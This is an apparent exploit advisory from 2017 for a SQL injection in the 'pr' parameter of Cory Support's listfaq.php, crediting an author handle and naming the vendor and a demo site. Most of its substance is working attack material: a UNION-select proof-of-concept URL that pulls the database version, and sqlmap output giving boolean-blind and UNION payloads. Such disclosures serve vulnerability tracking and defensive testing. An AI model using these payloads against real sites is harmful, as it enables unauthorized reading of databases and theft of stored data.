Cory Support - 'pr' SQL Injection

# Exploit   : Cory Support (pr) SQL Injection Vulnerability
# Author    : v3n0m
# Contact   : v3n0m[at]outlook[dot]com
# Date      : September, 06-2017 GMT +7:00 Jakarta, Indonesia
# Developer : Cory App
# Software  : Cory Support
# App Link  : http://coryapp.com/?product&index
# Demo      : http://coryapp.com/demo/support/
# Tested On : Mac OS Sierra v10.12.6
# Credits   : YOGYACARDERLINK, Dhea Dayanaya Fathin Karima, Don't Touch Me (Line Group) & Muhammad Panji, Alfath Dirk, Cafe BMW & YOU !!
 
1. Description
 
An attacker can exploit this vulnerability to read from the database.
The parameter 'pr' is vulnerable.
 
 
2. Proof of Concept
 
http://domain.tld/[path]/listfaq.php?pr=9999+and+1=2+union+all+select+null,version()--
 
# Exploitation via SQLMap
 
Parameter: pr (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: pr=1 AND 4809=4809
    Vector: AND [INFERENCE]

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: pr=1 UNION ALL SELECT NULL,CONCAT(0x7170706271,0x564f724b4475754c4c7a48714c59464c6c43704a636c6f72444471767a79716a6b6d4d6a72654b76,0x7170626b71)-- RNyi
    Vector:  UNION ALL SELECT NULL,[QUERY][GENERIC_SQL_COMMENT]
 
 
3. Security Risk
 
The security risk of the remote sql-injection web vulnerability in the Cory Support is estimated as high.